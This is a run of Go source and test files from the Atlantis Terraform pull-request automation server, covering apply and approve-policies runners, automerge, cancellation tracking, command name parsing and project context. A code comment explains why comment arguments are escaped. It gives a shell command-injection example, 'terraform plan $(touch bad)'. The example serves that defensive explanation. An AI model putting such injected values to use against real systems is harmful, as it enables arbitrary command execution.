2. project: `Second` dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### 3. project: `Third` dir: `` workspace: ``\n**Apply Error**\n```\nshabang\n```\n\n---\n### 4. project: `Fourth` dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### Apply Summary\n\n4 projects, 3 successful, 0 failed, 1 errored", }, { Description: "Don't block when parallel is not set", ProjectContexts: []command.ProjectContext{ { ExecutionOrderGroup: 0, ProjectName: "First", AbortOnExecutionOrderFail: true, }, { ExecutionOrderGroup: 1, ProjectName: "Second", AbortOnExecutionOrderFail: true, }, }, ProjectCommandOutputs: []command.ProjectCommandOutput{ { Error: errors.New("shabang"), }, { ApplySuccess: "Great success!", }, }, RunnerInvokeMatch: []*EqMatcher{ Once(), Once(), }, ApplyFailed: true, ExpComment: "Ran Apply for 2 projects:\n\n" + "1. project: `First` dir: `` workspace: ``\n1. project: `Second` dir: `` workspace: ``\n---\n\n### 1. project: `First` dir: `` workspace: ``\n**Apply Error**\n```\nshabang\n```\n\n---\n### 2. project: `Second` dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### Apply Summary\n\n2 projects, 1 successful, 0 failed, 1 errored", }, { Description: "Don't block when abortOnExecutionOrderFail is not set", ProjectContexts: []command.ProjectContext{ { ExecutionOrderGroup: 0, ProjectName: "First", }, { ExecutionOrderGroup: 1, ProjectName: "Second", }, }, ProjectCommandOutputs: []command.ProjectCommandOutput{ { Error: errors.New("shabang"), }, { ApplySuccess: "Great success!", }, }, RunnerInvokeMatch: []*EqMatcher{ Once(), Once(), }, ApplyFailed: true, ExpComment: "Ran Apply for 2 projects:\n\n" + "1. project: `First` dir: `` workspace: ``\n1. project: `Second` dir: `` workspace: ``\n---\n\n### 1. project: `First` dir: `` workspace: ``\n**Apply Error**\n```\nshabang\n```\n\n---\n### 2. project: `Second` dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### Apply Summary\n\n2 projects, 1 successful, 0 failed, 1 errored", }, { Description: "All project finished successfully", ProjectContexts: []command.ProjectContext{ { ExecutionOrderGroup: 0, ProjectName: "First", }, { ExecutionOrderGroup: 1, ProjectName: "Second", }, }, ProjectCommandOutputs: []command.ProjectCommandOutput{ { ApplySuccess: "Great success!", }, { ApplySuccess: "Great success!", }, }, RunnerInvokeMatch: []*EqMatcher{ Once(), Once(), }, ApplyFailed: false, ExpComment: "Ran Apply for 2 projects:\n\n" + "1. project: `First` dir: `` workspace: ``\n1. project: `Second` dir: `` workspace: ``\n---\n\n### 1. project: `First` dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### 2. project: `Second` dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### Apply Summary\n\n2 projects, 2 successful, 0 failed, 0 errored", }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { vcsClient := setup(t) scopeNull := metricstest.NewLoggingScope(t, logger, "atlantis") pull := &github.PullRequest{ State: github.Ptr("open"), } modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} cmd := &events.CommentCommand{Name: command.Apply} ctx := &command.Context{ User: testdata.User, Log: logging.NewNoopLogger(t), Scope: scopeNull, Pull: modelPull, HeadRepo: testdata.GithubRepo, Trigger: command.CommentTrigger, } When(githubGetter.GetPullRequest(logger, testdata.GithubRepo, testdata.Pull.Num)).ThenReturn(pull, nil) When(eventParsing.ParseGithubPull(logger, pull)).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) When(projectCommandBuilder.BuildApplyCommands(ctx, cmd)).ThenReturn(c.ProjectContexts, nil) for i := range c.ProjectContexts { When(projectCommandRunner.Apply(c.ProjectContexts[i])).ThenReturn(c.ProjectCommandOutputs[i]) } applyCommandRunner.Run(ctx, cmd) for i := range c.ProjectContexts { projectCommandRunner.VerifyWasCalled(c.RunnerInvokeMatch[i]).Apply(c.ProjectContexts[i]) } require.Equal(t, c.ApplyFailed, ctx.CommandHasErrors) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(c.ExpComment), Eq("apply"), ) }) } } ================================================ FILE: server/events/approve_policies_command_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" ) func NewApprovePoliciesCommandRunner( commitStatusUpdater CommitStatusUpdater, prjCommandBuilder ProjectApprovePoliciesCommandBuilder, prjCommandRunner ProjectApprovePoliciesCommandRunner, pullUpdater *PullUpdater, dbUpdater *DBUpdater, SilenceNoProjects bool, silenceVCSStatusNoProjects bool, vcsClient vcs.Client, ) *ApprovePoliciesCommandRunner { return &ApprovePoliciesCommandRunner{ commitStatusUpdater: commitStatusUpdater, prjCmdBuilder: prjCommandBuilder, prjCmdRunner: prjCommandRunner, pullUpdater: pullUpdater, dbUpdater: dbUpdater, SilenceNoProjects: SilenceNoProjects, silenceVCSStatusNoProjects: silenceVCSStatusNoProjects, vcsClient: vcsClient, } } type ApprovePoliciesCommandRunner struct { commitStatusUpdater CommitStatusUpdater pullUpdater *PullUpdater dbUpdater *DBUpdater prjCmdBuilder ProjectApprovePoliciesCommandBuilder prjCmdRunner ProjectApprovePoliciesCommandRunner // SilenceNoProjects is whether Atlantis should respond to PRs if no projects // are found SilenceNoProjects bool silenceVCSStatusNoProjects bool vcsClient vcs.Client } func (a *ApprovePoliciesCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) { baseRepo := ctx.Pull.BaseRepo pull := ctx.Pull if err := a.commitStatusUpdater.UpdateCombined(ctx.Log, baseRepo, pull, models.PendingCommitStatus, command.PolicyCheck); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } projectCmds, err := a.prjCmdBuilder.BuildApprovePoliciesCommands(ctx, cmd) if err != nil { if statusErr := a.commitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.PolicyCheck); statusErr != nil { ctx.Log.Warn("unable to update commit status: %s", statusErr) } a.pullUpdater.updatePull(ctx, cmd, command.Result{Error: err}) return } if len(projectCmds) == 0 && a.SilenceNoProjects { ctx.Log.Info("determined there was no project to run approve_policies in") if !a.silenceVCSStatusNoProjects { // If there were no projects modified, we set successful commit statuses // with 0/0 projects approve_policies successfully because some users require // the Atlantis status to be passing for all pull requests. ctx.Log.Debug("setting VCS status to success with no projects found") if err := a.commitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } } return } result := runProjectCmds(projectCmds, a.prjCmdRunner.ApprovePolicies) a.pullUpdater.updatePull( ctx, cmd, result, ) pullStatus, err := a.dbUpdater.updateDB(ctx, pull, result.ProjectResults) if err != nil { ctx.Log.Err("writing results: %s", err) return } a.updateCommitStatus(ctx, pullStatus) } func (a *ApprovePoliciesCommandRunner) updateCommitStatus(ctx *command.Context, pullStatus models.PullStatus) { var numSuccess int var numErrored int status := models.SuccessCommitStatus numSuccess = pullStatus.StatusCount(models.PassedPolicyCheckStatus) numErrored = pullStatus.StatusCount(models.ErroredPolicyCheckStatus) if numErrored > 0 { status = models.FailedCommitStatus } if err := a.commitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, status, command.PolicyCheck, numSuccess, len(pullStatus.Projects)); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } } ================================================ FILE: server/events/automerger.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "fmt" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" ) type AutoMerger struct { VCSClient vcs.Client GlobalAutomerge bool } func (c *AutoMerger) automerge(ctx *command.Context, pullStatus models.PullStatus, deleteSourceBranchOnMerge bool, mergeMethod string) { // We only automerge if all projects have been successfully applied. for _, p := range pullStatus.Projects { if p.Status != models.AppliedPlanStatus { ctx.Log.Info("not automerging because project at dir %q, workspace %q has status %q", p.RepoRelDir, p.Workspace, p.Status.String()) return } } // Comment that we're automerging the pull request. if err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, automergeComment, command.Apply.String()); err != nil { ctx.Log.Err("failed to comment about automerge: %s", err) // Commenting isn't required so continue. } // Make the API call to perform the merge. ctx.Log.Info("automerging pull request") var pullOptions models.PullRequestOptions pullOptions.DeleteSourceBranchOnMerge = deleteSourceBranchOnMerge pullOptions.MergeMethod = mergeMethod err := c.VCSClient.MergePull(ctx.Log, ctx.Pull, pullOptions) if err != nil { ctx.Log.Err("automerging failed: %s", err) failureComment := fmt.Sprintf("Automerging failed:\n```\n%s\n```", err) if commentErr := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, failureComment, command.Apply.String()); commentErr != nil { ctx.Log.Err("failed to comment about automerge failing: %s", err) } } } // automergeEnabled returns true if automerging is enabled in this context. func (c *AutoMerger) automergeEnabled(projectCmds []command.ProjectContext) bool { // Use project automerge settings if projects exist; otherwise, use global automerge settings. automerge := c.GlobalAutomerge if len(projectCmds) > 0 { automerge = projectCmds[0].AutomergeEnabled } return automerge } // deleteSourceBranchOnMergeEnabled returns true if we should delete the source branch on merge in this context. func (c *AutoMerger) deleteSourceBranchOnMergeEnabled(projectCmds []command.ProjectContext) bool { //check if this repo is configured for automerging. return (len(projectCmds) > 0 && projectCmds[0].DeleteSourceBranchOnMerge) } ================================================ FILE: server/events/cancel_command_runner.go ================================================ package events import ( "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/vcs" ) const cancelComment = "Cancelled all queued operations and released working directory locks for this pull request.\n" + "New operations can now be started. Currently running operations will continue to completion." func NewCancelCommandRunner( vcsClient vcs.Client, projectCmdRunner ProjectCommandRunner, pullUpdater *PullUpdater, workingDirLocker WorkingDirLocker, silenceNoProjects bool, ) *CancelCommandRunner { return &CancelCommandRunner{ VCSClient: vcsClient, ProjectCmdRunner: projectCmdRunner, PullUpdater: pullUpdater, WorkingDirLocker: workingDirLocker, SilenceNoProjects: silenceNoProjects, } } type CancelCommandRunner struct { VCSClient vcs.Client ProjectCmdRunner ProjectCommandRunner PullUpdater *PullUpdater WorkingDirLocker WorkingDirLocker SilenceNoProjects bool } func (c *CancelCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) { if c.ProjectCmdRunner == nil { ctx.Log.Err("ProjectCmdRunner is nil") return } // Get the DefaultProjectCommandRunner to access the process tracker defaultRunner, ok := c.ProjectCmdRunner.(*DefaultProjectCommandRunner) if !ok { ctx.Log.Err("ProjectCmdRunner is not a DefaultProjectCommandRunner") return } if defaultRunner.CancellationTracker == nil { ctx.Log.Err("CancellationTracker is nil") return } // Cancel the entire pull request to prevent future execution order groups from running defaultRunner.CancellationTracker.Cancel(ctx.Pull) // Clean up working directory locks for this pull request if defaultRunner.WorkingDirLocker != nil { defaultRunner.WorkingDirLocker.UnlockByPull(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num) ctx.Log.Debug("Released working directory locks for pull request") } ctx.Log.Info("Cancelled all queued operations and future execution groups for pull request; currently running operations will continue to completion") if err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, cancelComment, ""); err != nil { ctx.Log.Err("unable to comment: %s", err) } } ================================================ FILE: server/events/cancellation_tracker.go ================================================ package events //go:generate pegomock generate --package mocks -o mocks/mock_cancellation_tracker.go CancellationTracker import ( "fmt" "sync" "github.com/runatlantis/atlantis/server/events/models" ) type CancellationTracker interface { Cancel(pull models.PullRequest) IsCancelled(pull models.PullRequest) bool Clear(pull models.PullRequest) } type DefaultCancellationTracker struct { mutex sync.RWMutex cancelledPulls map[string]struct{} } func NewCancellationTracker() *DefaultCancellationTracker { return &DefaultCancellationTracker{ cancelledPulls: make(map[string]struct{}), } } // Cancel marks an entire pull request as cancelled, preventing any future operations func (p *DefaultCancellationTracker) Cancel(pull models.PullRequest) { p.mutex.Lock() defer p.mutex.Unlock() pullKeyStr := pullKey(pull) p.cancelledPulls[pullKeyStr] = struct{}{} } // IsCancelled checks if the entire pull request has been cancelled func (p *DefaultCancellationTracker) IsCancelled(pull models.PullRequest) bool { p.mutex.RLock() defer p.mutex.RUnlock() _, exists := p.cancelledPulls[pullKey(pull)] return exists } // Clear removes cancellation for a pull request (called when a PR is closed) func (p *DefaultCancellationTracker) Clear(pull models.PullRequest) { p.mutex.Lock() defer p.mutex.Unlock() delete(p.cancelledPulls, pullKey(pull)) } func pullKey(pull models.PullRequest) string { return fmt.Sprintf("%s#%d", pull.BaseRepo.FullName, pull.Num) } ================================================ FILE: server/events/command/context.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package command import ( "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" tally "github.com/uber-go/tally/v4" ) // Trigger represents the how the command was triggered type Trigger int const ( // Commands that are automatically triggered (ie. automatic plans) AutoTrigger Trigger = iota // Commands that are triggered by comments (ie. atlantis plan) CommentTrigger ) // Context represents the context of a command that should be executed // for a pull request. type Context struct { // HeadRepo is the repository that is getting merged into the BaseRepo. // If the pull request branch is from the same repository then HeadRepo will // be the same as BaseRepo. // See https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges HeadRepo models.Repo Pull models.PullRequest Scope tally.Scope // User is the user that triggered this command. User models.User Log logging.SimpleLogging // Current PR state PullRequestStatus models.PullReqStatus PullStatus *models.PullStatus // PolicySet is the policy set to target (if specified) for the approve_policies command. PolicySet string // ClearPolicyApproval is true if approval should be cleared on specified policies. ClearPolicyApproval bool Trigger Trigger // API is true if plan/apply by API endpoints API bool // TeamAllowlistChecker is used to check authorization on a project-level TeamAllowlistChecker TeamAllowlistChecker // Set true if there were any errors during the command execution CommandHasErrors bool } ================================================ FILE: server/events/command/lock.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package command import ( "time" ) // LockMetadata contains additional data provided to the lock type LockMetadata struct { UnixTime int64 } // Lock represents a global lock for an atlantis command (plan, apply, policy_check). // It is used to prevent commands from being executed type Lock struct { // Time is the time at which the lock was first created. LockMetadata LockMetadata CommandName Name } func (l *Lock) LockTime() time.Time { return time.Unix(l.LockMetadata.UnixTime, 0) } func (l *Lock) IsLocked() bool { return !l.LockTime().IsZero() } ================================================ FILE: server/events/command/name.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package command import ( "fmt" "strings" "golang.org/x/text/cases" "golang.org/x/text/language" ) // Name is which command to run. type Name int const ( // Apply is a command to run terraform apply. Apply Name = iota // Plan is a command to run terraform plan. Plan // Unlock is a command to discard previous plans as well as the atlantis locks. Unlock // PolicyCheck is a command to run conftest test. PolicyCheck // ApprovePolicies is a command to approve policies with owner check ApprovePolicies // Autoplan is a command to run terraform plan on PR open/update if autoplan is enabled Autoplan // Version is a command to run terraform version. Version // Import is a command to run terraform import Import // State is a command to run terraform state rm State // Cancel is a command to cancel running plan or apply operations Cancel // Adding more? Don't forget to update String() below ) type ArgCount struct { Min int Max int } // AllCommentCommands are list of commands that can be run from a comment. var AllCommentCommands = []Name{ Version, Plan, Apply, Cancel, Unlock, ApprovePolicies, Import, State, } // TitleString returns the string representation in title form. // ie. policy_check becomes Policy Check func (c Name) TitleString() string { return cases.Title(language.English).String(strings.ReplaceAll(strings.ToLower(c.String()), "_", " ")) } // String returns the string representation of c. func (c Name) String() string { switch c { case Apply: return "apply" case Plan, Autoplan: return "plan" case Unlock: return "unlock" case PolicyCheck: return "policy_check" case ApprovePolicies: return "approve_policies" case Version: return "version" case Import: return "import" case State: return "state" case Cancel: return "cancel" } return "" } // DefaultUsage returns the command default usage func (c Name) DefaultUsage() string { switch c { case Import: return "import ADDRESS ID" case State: return "state [rm ADDRESS...]" default: return c.String() } } // SubCommands returns the list of sub commands for the command func (c Name) SubCommands() []string { switch c { case State: return []string{"rm"} default: return nil } } // CommandArgCount returns the number of required arguments for the command func (c Name) CommandArgCount(subCommand string) (*ArgCount, error) { switch c { case Import: return &ArgCount{2, 2}, nil // "atlantis import ADDRESS ID" case State: if subCommand == "rm" { return &ArgCount{1, -1}, nil // "atlantis state rm ADDRESS..." } return nil, fmt.Errorf("command arg count unknown sub command: %s", subCommand) default: return &ArgCount{0, 0}, nil // other command doesn't require any args } } // IsMatchCount returns true if the number of arguments matches the requirement func (a ArgCount) IsMatchCount(count int) bool { if a.Min != -1 { if count < a.Min { return false } } if a.Max != -1 { if count > a.Max { return false } } return true } // ParseCommandName parses raw name into a command name. func ParseCommandName(name string) (Name, error) { switch name { case "apply": return Apply, nil case "plan": return Plan, nil case "unlock": return Unlock, nil case "policy_check": return PolicyCheck, nil case "approve_policies": return ApprovePolicies, nil case "version": return Version, nil case "import": return Import, nil case "state": return State, nil case "cancel": return Cancel, nil } return -1, fmt.Errorf("unknown command name: %s", name) } ================================================ FILE: server/events/command/name_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package command_test import ( "fmt" "math" "reflect" "testing" "github.com/runatlantis/atlantis/server/events/command" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestName_TitleString(t *testing.T) { tests := []struct { c command.Name want string }{ {command.Apply, "Apply"}, {command.PolicyCheck, "Policy Check"}, } for _, tt := range tests { t.Run(tt.want, func(t *testing.T) { if got := tt.c.TitleString(); got != tt.want { t.Errorf("TitleString() = %v, want %v", got, tt.want) } }) } } func TestName_String(t *testing.T) { tests := []struct { c command.Name want string }{ {command.Apply, "apply"}, {command.Plan, "plan"}, {command.Unlock, "unlock"}, {command.PolicyCheck, "policy_check"}, {command.ApprovePolicies, "approve_policies"}, {command.Version, "version"}, {command.Import, "import"}, {command.State, "state"}, } for _, tt := range tests { t.Run(tt.want, func(t *testing.T) { if got := tt.c.String(); got != tt.want { t.Errorf("String() = %v, want %v", got, tt.want) } }) } } func TestName_DefaultUsage(t *testing.T) { tests := []struct { c command.Name want string }{ {command.Apply, "apply"}, {command.Plan, "plan"}, {command.Unlock, "unlock"}, {command.PolicyCheck, "policy_check"}, {command.ApprovePolicies, "approve_policies"}, {command.Version, "version"}, {command.Import, "import ADDRESS ID"}, {command.State, "state [rm ADDRESS...]"}, } for _, tt := range tests { t.Run(tt.c.String(), func(t *testing.T) { if got := tt.c.DefaultUsage(); got != tt.want { t.Errorf("DefaultUsage() = %v, want %v", got, tt.want) } }) } } func TestName_SubCommands(t *testing.T) { tests := []struct { c command.Name want []string }{ {c: command.Apply}, {c: command.Plan}, {c: command.Unlock}, {c: command.PolicyCheck}, {c: command.ApprovePolicies}, {c: command.Version}, {c: command.Import}, {c: command.State, want: []string{"rm"}}, } for _, tt := range tests { t.Run(tt.c.String(), func(t *testing.T) { if got := tt.c.SubCommands(); !reflect.DeepEqual(got, tt.want) { t.Errorf("SubCommands() = %v, want %v", got, tt.want) } }) } } func TestName_CommandArgCount(t *testing.T) { tests := []struct { c command.Name subCommand string want *command.ArgCount wantErr bool }{ {c: command.Apply, want: &command.ArgCount{}}, {c: command.Plan, want: &command.ArgCount{}}, {c: command.Unlock, want: &command.ArgCount{}}, {c: command.PolicyCheck, want: &command.ArgCount{}}, {c: command.ApprovePolicies, want: &command.ArgCount{}}, {c: command.Version, want: &command.ArgCount{}}, {c: command.Import, want: &command.ArgCount{Min: 2, Max: 2}}, {c: command.State, subCommand: "rm", want: &command.ArgCount{Min: 1, Max: -1}}, {c: command.State, subCommand: "unknown", wantErr: true}, } for _, tt := range tests { t.Run(fmt.Sprintf("%s %s", tt.c, tt.subCommand), func(t *testing.T) { got, err := tt.c.CommandArgCount(tt.subCommand) if (err != nil) != tt.wantErr { t.Errorf("CommandArgCount() error = %v, wantErr %v", err, tt.wantErr) return } if !reflect.DeepEqual(got, tt.want) { t.Errorf("CommandArgCount() got = %v, want %v", got, tt.want) } }) } } func TestArgCount_IsMatchCount(t *testing.T) { type fields struct { Min int Max int } tests := []struct { name string fields fields count int want bool }{ {name: "[0,0] success", fields: fields{Min: 0, Max: 0}, count: 0, want: true}, {name: "[0,0] failure", fields: fields{Min: 0, Max: 0}, count: 1, want: false}, {name: "[1,1] success", fields: fields{Min: 1, Max: 1}, count: 1, want: true}, {name: "[1,1] failure1", fields: fields{Min: 1, Max: 1}, count: 0, want: false}, {name: "[1,1] failure2", fields: fields{Min: 1, Max: 1}, count: 2, want: false}, {name: "[-inf,1] success1", fields: fields{Min: -1, Max: 1}, count: 0, want: true}, {name: "[-inf,1] success2", fields: fields{Min: -1, Max: 1}, count: 1, want: true}, {name: "[-inf,1] failure", fields: fields{Min: -1, Max: 1}, count: 2, want: false}, {name: "[1,inf] success1", fields: fields{Min: 1, Max: -1}, count: 1, want: true}, {name: "[1,inf] success2", fields: fields{Min: 1, Max: -1}, count: math.MaxInt, want: true}, {name: "[1,inf] failure", fields: fields{Min: 1, Max: -1}, count: 0, want: false}, {name: "[-inf,inf] success", fields: fields{Min: -1, Max: -1}, count: 0, want: true}, {name: "[-inf,inf] success", fields: fields{Min: -1, Max: -1}, count: math.MaxInt, want: true}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { a := command.ArgCount{ Min: tt.fields.Min, Max: tt.fields.Max, } if got := a.IsMatchCount(tt.count); got != tt.want { t.Errorf("IsMatchCount() = %v, want %v", got, tt.want) } }) } } func TestParseCommandName(t *testing.T) { tests := []struct { exp command.Name name string }{ {command.Apply, "apply"}, {command.Plan, "plan"}, {command.Unlock, "unlock"}, {command.PolicyCheck, "policy_check"}, {command.ApprovePolicies, "approve_policies"}, {command.Version, "version"}, {command.Import, "import"}, {command.State, "state"}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { got, err := command.ParseCommandName(tt.name) require.NoError(t, err) assert.Equal(t, tt.exp, got) }) } t.Run("unknown command", func(t *testing.T) { _, err := command.ParseCommandName("unknown") assert.ErrorContains(t, err, "unknown command name: unknown") }) } ================================================ FILE: server/events/command/project_context.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package command import ( "fmt" "strconv" "strings" "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" tally "github.com/uber-go/tally/v4" ) const ( planfileSlashReplace = "::" ) // ProjectContext defines the context for a plan or apply stage that will // be executed for a project. type ProjectContext struct { CommandName Name SubCommand string // ApplyCmd is the command that users should run to apply this plan. If // this is an apply then this will be empty. ApplyCmd string // ApprovePoliciesCmd is the command that users should run to approve policies for this plan. If // this is an apply then this will be empty. ApprovePoliciesCmd string // PlanRequirements is the list of requirements that must be satisfied // before we will run the plan stage. PlanRequirements []string // ApplyRequirements is the list of requirements that must be satisfied // before we will run the apply stage. ApplyRequirements []string // ImportRequirements is the list of requirements that must be satisfied // before we will run the import stage. ImportRequirements []string // AutomergeEnabled is true if automerge is enabled for the repo that this // project is in. AutomergeEnabled bool // ParallelApplyEnabled is true if parallel apply is enabled for this project. ParallelApplyEnabled bool // ParallelPlanEnabled is true if parallel plan is enabled for this project. ParallelPlanEnabled bool // ParallelPolicyCheckEnabled is true if parallel policy_check is enabled for this project. ParallelPolicyCheckEnabled bool // AutoplanEnabled is true if autoplanning is enabled for this project. AutoplanEnabled bool // BaseRepo is the repository that the pull request will be merged into. BaseRepo models.Repo // EscapedCommentArgs are the extra arguments that were added to the atlantis // command, ex. atlantis plan -- -target=resource. We then escape them // by adding a \ before each character so that they can be used within // sh -c safely, i.e. sh -c "terraform plan $(touch bad)". EscapedCommentArgs []string // HeadRepo is the repository that is getting merged into the BaseRepo. // If the pull request branch is from the same repository then HeadRepo will // be the same as BaseRepo. HeadRepo models.Repo // Dependencies are a list of project that this project relies on // their apply status. These projects must be applied first. // // Atlantis uses this information to valid the apply // orders and to warn the user if they're applying a project that // depends on other projects. DependsOn []string // Log is a logger that's been set up for this context. Log logging.SimpleLogging // Scope is the scope for reporting stats setup for this context Scope tally.Scope // PullReqStatus holds state about the PR that requires additional computation outside models.PullRequest PullReqStatus models.PullReqStatus // CurrentProjectPlanStatus is the status of the current project prior to this command. ProjectPlanStatus models.ProjectPlanStatus //PullStatus is the status of the current pull request prior to this command. PullStatus *models.PullStatus // ProjectPolicyStatus is the status of policy sets of the current project prior to this command. ProjectPolicyStatus []models.PolicySetStatus // Pull is the pull request we're responding to. Pull models.PullRequest // ProjectName is the name of the project set in atlantis.yaml. If there was // no name this will be an empty string. ProjectName string // RepoConfigVersion is the version of the repo's atlantis.yaml file. If // there was no file, this will be 0. RepoConfigVersion int // RePlanCmd is the command that users should run to re-plan this project. // If this is an apply then this will be empty. RePlanCmd string // RepoRelDir is the directory of this project relative to the repo root. RepoRelDir string // Steps are the sequence of commands we need to run for this project and this // stage. Steps []valid.Step // TerraformDistribution is the distribution of terraform we should use when // executing commands for this project. This can be set to nil in which case // we will use the default Atlantis terraform distribution. TerraformDistribution *string // TerraformVersion is the version of terraform we should use when executing // commands for this project. This can be set to nil in which case we will // use the default Atlantis terraform version. TerraformVersion *version.Version // Configuration metadata for a given project. User models.User // Verbose is true when the user would like verbose output. Verbose bool // Workspace is the Terraform workspace this project is in. It will always // be set. Workspace string // PolicySets represent the policies that are run on the plan as part of the // policy check stage PolicySets valid.PolicySets // PolicySetTarget describes which policy sets to target on the approve_policies step. PolicySetTarget string // ClearPolicyApproval determines whether policy counts will be incremented or cleared. ClearPolicyApproval bool // DeleteSourceBranchOnMerge will attempt to allow a branch to be deleted when merged (AzureDevOps & GitLab Support Only) DeleteSourceBranchOnMerge bool // Repo locks mode: disabled, on plan or on apply RepoLocksMode valid.RepoLocksMode // RepoConfigFile RepoConfigFile string // UUID for atlantis logs JobID string // The index of order group. Before planning/applying it will use to sort projects. Default is 0. ExecutionOrderGroup int // If plans/applies should be aborted if any prior plan/apply fails AbortOnExecutionOrderFail bool // Allows custom policy check tools outside of Conftest to run in checks CustomPolicyCheck bool SilencePRComments []string // TeamAllowlistChecker is used to check authorization on a project-level TeamAllowlistChecker TeamAllowlistChecker } // SetProjectScopeTags adds ProjectContext tags to a new returned scope. func (p ProjectContext) SetProjectScopeTags(scope tally.Scope) tally.Scope { v := "" if p.TerraformVersion != nil { v = p.TerraformVersion.String() } tags := ProjectScopeTags{ BaseRepo: p.BaseRepo.FullName, PrNumber: strconv.Itoa(p.Pull.Num), Project: p.ProjectName, ProjectPath: p.RepoRelDir, TerraformVersion: v, Workspace: p.Workspace, } return scope.Tagged(tags.Loadtags()) } // GetShowResultFileName returns the filename (not the path) to store the tf show result func (p ProjectContext) GetShowResultFileName() string { if p.ProjectName == "" { return fmt.Sprintf("%s.json", p.Workspace) } projName := strings.ReplaceAll(p.ProjectName, "/", planfileSlashReplace) return fmt.Sprintf("%s-%s.json", projName, p.Workspace) } // GetPolicyCheckResultFileName returns the filename (not the path) to store the result from conftest_client. func (p ProjectContext) GetPolicyCheckResultFileName() string { if p.ProjectName == "" { return fmt.Sprintf("%s-policyout.json", p.Workspace) } projName := strings.ReplaceAll(p.ProjectName, "/", planfileSlashReplace) return fmt.Sprintf("%s-%s-policyout.json", projName, p.Workspace) } // Gets a unique identifier for the current pull request as a single string func (p ProjectContext) PullInfo() string { normalizedOwner := strings.ReplaceAll(p.BaseRepo.Owner, "/", "-") normalizedName := strings.ReplaceAll(p.BaseRepo.Name, "/", "-") projectRepo := fmt.Sprintf("%s/%s", normalizedOwner, normalizedName) return buildPullInfo(projectRepo, p.Pull.Num, p.ProjectName, p.RepoRelDir, p.Workspace) } func buildPullInfo(repoName string, pullNum int, projectName string, relDir string, workspace string) string { projectIdentifier := getProjectIdentifier(relDir, projectName) return fmt.Sprintf("%s/%d/%s/%s", repoName, pullNum, projectIdentifier, workspace) } func getProjectIdentifier(relRepoDir string, projectName string) string { if projectName != "" { return projectName } // Replace directory separator / with - // Replace . with _ to ensure projects with no project name and root dir set to "." have a valid URL replacer := strings.NewReplacer("/", "-", ".", "_") return replacer.Replace(relRepoDir) } // PolicyCleared returns whether all policies are passing or not. func (p ProjectContext) PolicyCleared() bool { passing := true for _, psStatus := range p.ProjectPolicyStatus { if psStatus.Passed { continue } for _, psCfg := range p.PolicySets.PolicySets { if psStatus.PolicySetName == psCfg.Name { if psStatus.Approvals != psCfg.ApproveCount { passing = false } } } } return passing } ================================================ FILE: server/events/command/project_context_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package command_test import ( "testing" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" . "github.com/runatlantis/atlantis/testing" ) // Test PolicyCleared and PolicySummary func TestPolicyCheckResults_PolicyFuncs(t *testing.T) { cases := []struct { description string policySetsConfig valid.PolicySets policySetStatus []models.PolicySetStatus policyClearedExp bool }{ { description: "single policy set, not passed", policySetsConfig: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Name: "policy1", ApproveCount: 1, }, }, }, policySetStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Passed: false, Approvals: 0, }, }, policyClearedExp: false, }, { description: "single policy set, passed", policySetsConfig: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Name: "policy1", ApproveCount: 1, }, }, }, 